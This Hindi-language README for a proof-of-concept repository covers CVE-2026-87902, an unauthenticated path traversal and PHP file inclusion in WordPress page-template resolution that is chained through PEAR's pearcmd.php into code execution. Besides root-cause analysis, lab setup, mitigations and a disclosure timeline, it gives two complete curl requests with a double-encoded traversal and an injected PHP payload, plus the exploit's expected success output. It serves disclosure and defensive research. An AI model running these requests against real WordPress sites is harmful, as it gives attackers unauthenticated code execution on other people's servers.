
CVE-2026-87902 के लिए PoC — WordPress पेज-टेम्पलेट रिज़ॉल्यूशन में अनधिकृत पाथ ट्रैवर्सल (स्थानीय PHP इन्क्लूज़न, सशर्त RCE) एक पिन किए गए कमज़ोर लैब के साथ
WordPress Core में डबल-एन्कोडेड pagename मान के माध्यम से अनऑथेंटिकेटेड लोकल PHP फ़ाइल इन्क्लूज़न — और, विशिष्ट डिप्लॉयमेंट स्थितियों के अंतर्गत, वेब-सर्वर अकाउंट के विशेषाधिकारों के साथ PHP कोड एक्ज़ीक्यूशन।
| CVE | CVE-2026-87902 |
| विक्रेता एडवाइज़री | GHSA-7hp8-65ch-5whp |
| राइट-अप | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| प्रभावित | WordPress Core 4.7.0 – 7.1.1 (एडवाइज़री की प्रति-ब्रांच रेंज के अनुसार प्रत्येक ब्रांच); 7.0.2 पर गतिशील रूप से पुनरुत्पादित |
| ठीक किया गया | 7.1.2 (7.1 ब्रांच), 7.0.6 (7.0 ब्रांच) और 4.7.37 तक प्रत्येक ब्रांच के लिए एक बैकपोर्ट (एडवाइज़री के अनुसार) |
| कमज़ोरियाँ | CWE-98 (include में फ़ाइलनाम का अनुचित नियंत्रण), CWE-22 / CWE-23 (पाथ ट्रैवर्सल) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (पूरक) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| ऑथेंटिकेशन | कोई नहीं — कोई अकाउंट, कुकी, नॉन्स, सेशन, प्लगइन, या आउटबाउंड रिक्वेस्ट नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| लेखक | Robert Ressl — ressl.ch |
| PoC सत्यापित | 2026-09-22 इस रिपॉज़िटरी की लैब के विरुद्ध — देखें सत्यापित परिणाम |
WordPress एक Page टेम्पलेट को ऐसी श्रृंखला के माध्यम से रिज़ॉल्व करता है जो कभी यह सिद्ध नहीं करती कि चयनित फ़ाइल किसी थीम रूट के भीतर ही रहती है:
pagename और page_id सार्वजनिक क्वेरी वेरिएबल हैं जिन्हें WP::parse_request() एक अनाम POST बॉडी से स्वीकार करता है।pagename में एक डबल-एन्कोडेड ट्रैवर्सल प्रारंभिक क्वेरी सैनिटाइज़ेशन से एस्केप्ड %xx ऑक्टेट के रूप में बच निकलता है (wp_basename() %2f को विभाजक के रूप में नहीं देख सकता, और sanitize_title_with_dashes() जानबूझकर वैध ऑक्टेट रखता है)।page_id एक वास्तविक प्रकाशित Page का चयन करता है, जबकि दुर्भावनापूर्ण pagename क्वेरी ऑब्जेक्ट में बना रहता है।get_page_template() बाद में उस मान पर urldecode() कॉल करता है और टेम्पलेट पदानुक्रम में page-templates/../../../../../../../usr/local/lib/php/pearcmd.php जैसा एक कैंडिडेट जोड़ता है।locate_template() और अंतिम टेम्पलेट लोडर केवल अस्तित्व, पठनीयता और .php/.html सफ़िक्स की जाँच करते हैं — कभी यह नहीं कि कैनोनिकल पाथ अभी भी किसी अनुमत थीम रूट के भीतर है — और फिर उसे include कर देते हैं।यह WordPress Core में एक अनऑथेंटिकेटेड रिमोट लोकल-फ़ाइल-इन्क्लूज़न प्रिमिटिव है। परीक्षण किए गए आधिकारिक रनटाइम (wordpress:php8.3-apache, जो PEAR बंडल करता है और कोई php.ini लोड नहीं करता, इसलिए register_argc_argv On है) पर, इन्क्लूज़न को PEAR के pearcmd.php के माध्यम से श्रृंखलाबद्ध किया गया: एक पहली अनाम रिक्वेस्ट config-create को /tmp में हमलावर-नियंत्रित PHP लिखने पर मजबूर करती है, दूसरी अनाम रिक्वेस्ट उस फ़ाइल को include करके उसे www-data के रूप में निष्पादित करती है।
Core में अनुपस्थित पाथ कंटेनमेंट ही भेद्यता है। PEAR इन्क्लूज़न से कोड एक्ज़ीक्यूशन तक का केवल एक पर्यावरण-निर्भर मार्ग है — यह WordPress की निर्भरता नहीं है और हर डिप्लॉयमेंट में मौजूद या उपयोगी नहीं है।
सत्यापित स्रोत स्थान (WordPress 7.0.2):
| # | स्थान | भूमिका |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename और page_id सार्वजनिक क्वेरी वेरिएबल हैं और $_POST से पढ़े जाते हैं |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — wp_basename() के लिए %2f विभाजक नहीं है |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() वैध %xx ऑक्टेट को हटाने के बजाय संरक्षित रखता है |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — ट्रैवर्सल सैनिटाइज़ेशन के बाद सक्रिय हो जाता है |
| 5 | wp-includes/template.php:722-736 | locate_template() कैंडिडेट को प्रत्येक थीम रूट के नीचे जोड़ता है और केवल file_exists() कॉल करता है |
| 6 | wp-includes/template-loader.php:116-132 | realpath() पाथ को सामान्यीकृत करता है, फिर include बिना किसी कैनोनिकल रूट-कंटेनमेंट जाँच के चलता है |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() गैर-GET/HEAD के लिए जल्दी लौट आता है, इसलिए एक POST कैनोनिकलाइज़ होकर हटाया नहीं जाता |
स्टैंडअलोन इन्क्लूज़न प्रिमिटिव को चाहिए:
| # | पूर्वापेक्षा | कारण |
|---|---|---|
| 1 | संख्यात्मक page_id द्वारा चयनित एक प्रकाशित, अनाम रूप से पहुँचने योग्य Page | पाथनेम लुकअप विफल होने के बाद क्वेरी द्वारा पेज लौटाया जाना चाहिए |
| 2 | कोई पहले से हल होने योग्य कस्टम पेज टेम्पलेट नहीं | एक वैध असाइन किया गया टेम्पलेट दुर्भावनापूर्ण कैंडिडेट से पहले क्रमित होता है |
| 3 | सक्रिय (चाइल्ड या पैरेंट) थीम में एक टॉप-लेवल डायरेक्टरी जिसका नाम page- से शुरू हो, जैसे page-templates/ | WordPress निश्चित page- प्रीफ़िक्स जोड़ता है, इसलिए .. ट्रैवर्सल स्थान 0 से शुरू नहीं हो सकता; डायरेक्टरी का केवल मौजूद और ट्रैवर्सेबल होना ज़रूरी है — उसका राइटेबल होना ज़रूरी नहीं |
| 4 | एक चयनित लोकल .php फ़ाइल जो मौजूद हो और PHP उपयोगकर्ता द्वारा पठनीय हो | लोडर is_file()/is_readable() जाँचता है और .php सफ़िक्स आवश्यक है |
| 5 | उस फ़ाइल को अवरुद्ध करने वाला कोई फ़ाइलसिस्टम कंफ़ाइनमेंट न हो | एक open_basedir या MAC नीति include को रोक सकती है |
प्रदर्शित PEAR चरण को अतिरिक्त रूप से एक पठनीय pearcmd.php (उसकी निर्भरताओं सहित), वेब SAPI के लिए register_argc_argv=On, और एक राइटेबल आउटपुट डायरेक्टरी चाहिए। प्रोडक्शन php.ini फ़ाइलें register_argc_argv=Off सेट करती हैं; परीक्षित इमेज कोई php.ini लोड नहीं करती, इसलिए कंपाइल्ड डिफ़ॉल्ट (On) लागू हुआ। यह प्रदर्शित कोड-एक्ज़ीक्यूशन श्रृंखला की व्यापकता पर एक महत्वपूर्ण सीमा है।
बंडल किए गए Twenty Twenty-Three/Four/Five थीम कोई टॉप-लेवल page-* डायरेक्टरी नहीं देते, इसलिए स्टॉक लैब को नीचे वर्णित फ़िक्स्चर चाहिए। कस्टम थीम वैध रूप से page-templates/ लेआउट का उपयोग कर सकती हैं (WordPress दस्तावेज़ीकरण)।
एडवाइज़री दर्ज करती है कि ये शर्तें शिप किए गए सॉफ़्टवेयर में कहाँ होती हैं: थीम शर्त लीगेसी Twenty Twelve और Twenty Fourteen थीम तथा Neve, Hestia और Sydney जैसी तृतीय-पक्ष थीम द्वारा पूरी होती है, जबकि PEAR ट्रांज़िशन आधिकारिक PHP Docker इमेज और PHP 8.5 से पुराने PHP चलाने वाले डिफ़ॉल्ट cPanel कॉन्फ़िगरेशन पर लागू होता है। (Twenty Twelve और Twenty Fourteen दोनों एक टॉप-लेवल page-templates/ डायरेक्टरी देते हैं; शेष कथन एडवाइज़री के हैं।) यह रिपॉज़िटरी यह नहीं मापती कि पूरी श्रृंखला कितनी बार लागू होती है।
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py को Python 3.6+ चाहिए (केवल स्टैंडर्ड लाइब्रेरी) और डिफ़ॉल्ट रूप से लैब तक http://127.0.0.1:8091 पर पहुँचता है। अपेक्षित आउटपुट:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
सफलता पर एग्ज़िट कोड 0 और अन्यथा 1 होता है, इसलिए PoC एक रिग्रेशन/डिटेक्शन जाँच के रूप में भी काम करता है।
टियरडाउन: docker compose down -v.
2026-09-22 को इस लैब के विरुद्ध चलाया गया (Docker 29.4, OrbStack, Apple silicon):
| जाँच | परिणाम |
|---|---|
| चरण 1 | HTTP 200; /tmp/wp-pear-rce-flag.php www-data:www-data के रूप में लिखा गया, मोड 0644, 1219 बाइट्स |
| पेलोड SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — मूल रिपोर्ट में दर्ज हैश के समान |
| चरण 2 | HTTP 200; इंजेक्ट किए गए PHP ने मोड-0444 प्रूफ़ आर्टिफ़ैक्ट प्रिंट किया |
| मार्कर घटनाएँ | 12 (PEAR नियंत्रित रूट मान को 12 कॉन्फ़िग एंट्री में सीरियलाइज़ करता है) |
| उपयोग किए गए क्रेडेंशियल | कोई नहीं — किसी भी रिक्वेस्ट में कोई Cookie या Authorization हेडर नहीं |
| नेगेटिव कंट्रोल | page-templates/ हटाया गया → चरण 2 सामान्य पेज लौटाता है, कोई मार्कर नहीं, एग्ज़िट कोड 1 |
प्रूफ़ आर्टिफ़ैक्ट कंटेनर के भीतर /flag है, root-स्वामित्व वाला और विश्व-पठनीय (root:root, मोड 0444)। यह वेब-सर्वर अकाउंट के रूप में PHP एक्ज़ीक्यूशन और फ़ाइल एक्सेस सिद्ध करता है; यह एक प्रिविलेज-एस्केलेशन लक्ष्य नहीं है।
दो अनाम POST। WordPress रूटिंग मान फ़ॉर्म बॉडी में यात्रा करते हैं, PEAR आर्ग्युमेंट रॉ क्वेरी स्ट्रिंग में (PHP रॉ क्वेरी स्ट्रिंग को शाब्दिक + पर argv में विभाजित करता है और व्यक्तिगत आर्ग्युमेंट को URL-डिकोड नहीं करता):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
चरण 1 — pearcmd.php include करें और पेलोड लिखें:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
चरण 2 — उत्पन्न फ़ाइल include करें और उसका PHP चलाएँ:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
महत्वपूर्ण विवरण:
templates%2f%2e%2e%2f... में डिकोड करता है; सैनिटाइज़र उन ऑक्टेट को रखता है, और केवल get_page_template() का विलंबित urldecode() उन्हें / और .. में बदलता है।page- प्रीफ़िक्स। WordPress मान के आगे page- जोड़ता है, इसलिए फ़िक्स्चर डायरेक्टरी page-templates/ अग्रणी templates सेगमेंट के अनुरूप है।.php सफ़िक्स। कैंडिडेट page-<decoded>.php है, इसीलिए लक्ष्य बिना सफ़िक्स के दिया जाता है (.../pearcmd, /tmp/wp-pear-rce-flag)।POST, GET नहीं। redirect_canonical() गैर-GET/HEAD रिक्वेस्ट को छोड़ देता है, और फ़ॉर्म बॉडी क्वेरी स्ट्रिंग को केवल PEAR आर्ग्युमेंट ले जाने देती है।wp_magic_quotes() $_SERVER पर भी चलता है, इसलिए सर्वर-निर्मित argv एस्केप हो जाता है और PEAR बाद में बैकस्लैश को सामान्यीकृत करता है। सत्यापित पेलोड chr() का उपयोग करता है और इसमें कोई कोट अक्षर नहीं है। (यह <?=file_get_contents('/flag')?> में सिमट जाता है।)config-create रूट पाथ। PEAR एक सापेक्ष रूट को अस्वीकार करता है (Root directory must be an absolute path beginning with "/"), इसलिए पेलोड को रूट पाथ के रूप में ही इंजेक्ट किया जाता है।cve-2026-87902.py .. सेगमेंट को तब तक चलाता है जब तक ट्रैवर्सल लक्ष्य तक न पहुँच जाए (इस लैब के लेआउट के लिए 7, इसे पिन करने के लिए --depth)।lab/up.sh तीन चरण करता है और इसे दोबारा चलाना सुरक्षित है:
docker compose up -d --build --wait — पिन किया गया wordpress:7.0.2-php8.3-apache और mysql:8.4, पोर्ट 127.0.0.1:8091 (केवल लूपबैक)।admin / adminadmin) चलाता है।wp-content/themes/twentytwentyfive/page-templates/, root:root, मोड 0755, खाली।लैब इमेज कंपाइल्ड डिफ़ॉल्ट पर निर्भर रहने के बजाय स्पष्ट रूप से register_argc_argv=On जोड़ती है (lab/Dockerfile), और /flag बेक करती है (root:root, मोड 0444, सामग्री CVE-2026-87902-POC-OK)।
| घटक | मान |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, Apache मॉड्यूल |
| PEAR | 1.10.18 /usr/local/lib/php/pearcmd.php पर |
| MySQL | 8.4 |
register_argc_argv | On |
| थीम | Twenty Twenty-Five + खाली root-स्वामित्व वाला page-templates/ फ़िक्स्चर |
| लक्ष्य Page | प्रकाशित Sample Page, ID 2, डिफ़ॉल्ट टेम्पलेट |
| प्रूफ़ आर्टिफ़ैक्ट | /flag, root:root, मोड 0444 |
रोलिंग
wordpress:php8.3-apacheटैग इस लैब के लिए उपयोगी नहीं है: बग 7.1.2 में ठीक कर दिया गया है और एक अनपिन किया गया टैग चुपचाप लैब को पैच कर देता है।
सत्यापित या प्रलेखित कंट्रोल:
page-* डायरेक्टरी नहीं → निश्चित प्रीफ़िक्स हटाया नहीं जा सकता और ट्रैवर्सल कभी शुरू नहीं होता (सत्यापित: फ़िक्स्चर हटाया गया → कोई मार्कर नहीं)।register_argc_argv=Off → कोई PEAR राइटर नहीं, लेकिन इन्क्लूज़न प्रिमिटिव बना रहता है।.. सेगमेंट की गलत संख्या → लक्ष्य तक नहीं पहुँचा गया (सत्यापित: लैब में गहराई 1-6 और 8-12 कोई मार्कर उत्पन्न नहीं करतीं)।/flag) सीधे नहीं पढ़ी जा सकती — कैंडिडेट में .php जोड़ा जाता है।<, >, = बाइट्स को अस्वीकार करती है, PEAR आर्ग्युमेंट चैनल को तोड़ देती है (डिप्लॉयमेंट-विशिष्ट)।open_basedir/MAC कंफ़ाइनमेंट या एक गैर-राइटेबल आउटपुट डायरेक्टरी श्रृंखला को तोड़ देती है; /tmp पर noexec नहीं तोड़ता (PHP फ़ाइल को पढ़ता और इंटरप्रेट करता है)।यह PoC एक सत्यापित कॉन्फ़िगरेशन को पुनरुत्पादित करता है। यह दावा नहीं करता कि प्रत्येक WordPress इंस्टॉलेशन शोषणीय है, और यह व्यापकता नहीं मापता।
validate_file()), और एक स्थित टेम्पलेट को include करने से पहले, कैंडिडेट और थीम रूट के realpath() की तुलना ट्रेलिंग डायरेक्टरी सेपरेटर के साथ करें।register_argc_argv=Off सेट करें, प्रोडक्शन इमेज से अप्रयुक्त वेब-पठनीय PEAR एंट्री पॉइंट हटाएँ, चाइल्ड और पैरेंट थीम में टॉप-लेवल page-* डायरेक्टरी का ऑडिट करें, और PHP अकाउंट के लिए राइट एक्सेस प्रतिबंधित करें।| पाथ | उद्देश्य |
|---|---|
cve-2026-87902.py | एक्सप्लॉइट: पेज डिटेक्शन, दोनों चरण, गहराई हैंडलिंग, मार्कर सत्यापन |
lab/up.sh | लैब को उस सटीक स्थिति में लाता है जिसकी एक्सप्लॉइट अपेक्षा करता है (आइडेम्पोटेंट) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, केवल-लूपबैक पोर्ट |
lab/Dockerfile | भेद्य रिलीज़ को पिन करता है, register_argc_argv=On सेट करता है, /flag बेक करता है |
lab/flag | प्रूफ़ आर्टिफ़ैक्ट की सामग्री |
| दिनांक | घटना |
|---|---|
| 2026-07-20 | WordPress HackerOne प्रोग्राम के माध्यम से निजी तौर पर रिपोर्ट किया गया |
| 2026-07-21 | प्राप्ति स्वीकार की गई |
| 2026-09-15 | सूचित किया गया कि एक आगामी रिलीज़ के लिए फ़िक्स की योजना बनाई गई थी; एट्रिब्यूशन विवरण अनुरोधित |
| 2026-09-22 | WordPress 7.1.2 फ़िक्स के साथ जारी; एडवाइज़री GHSA-7hp8-65ch-5whp प्रकाशित |
रिपोर्ट को उसके प्रारंभिक वर्गीकरण के संशोधन के बाद एक वैध सुरक्षा निष्कर्ष के रूप में स्वीकार किया गया; पत्राचार उस स्वीकृति की तिथि नहीं बताता।
यह रिपॉज़िटरी रक्षात्मक और शोध उद्देश्यों के लिए प्रकाशित की गई है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। लैब 127.0.0.1 से बंधी है और इसे अविश्वसनीय नेटवर्क के लिए उजागर नहीं किया जाना चाहिए।
MIT — देखें LICENSE। साइटेशन मेटाडेटा CITATION.cff में है:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
भेद्यता रिपोर्ट और यह PoC संगठन और संगति समीक्षा के लिए AI सहायता के साथ तैयार किए गए थे; तकनीकी दावों के लिए शोधकर्ता ज़िम्मेदार है।